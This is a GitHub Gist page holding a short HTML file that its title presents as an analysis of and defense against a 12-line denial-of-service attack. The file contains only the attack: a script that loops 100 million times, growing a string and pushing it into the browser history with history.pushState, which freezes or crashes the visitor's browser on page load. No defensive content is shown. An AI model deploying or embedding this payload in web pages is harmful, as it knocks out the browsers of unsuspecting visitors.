Created
April 6, 2016 05:15
-
-
Save HereChen/ea2558c6c76fc68fbb6493f778c3d9eb to your computer and use it in GitHub Desktop.
12行代码的DoS攻击分析及防御
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<!--from infoQ: 12行代码的DoS攻击分析及防御--> | |
<script type="text/javascript"> | |
var total = ""; | |
for (var i=0; i<100000000; i++){ | |
total = total + i.toString(); | |
history.pushState(0,0,total); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment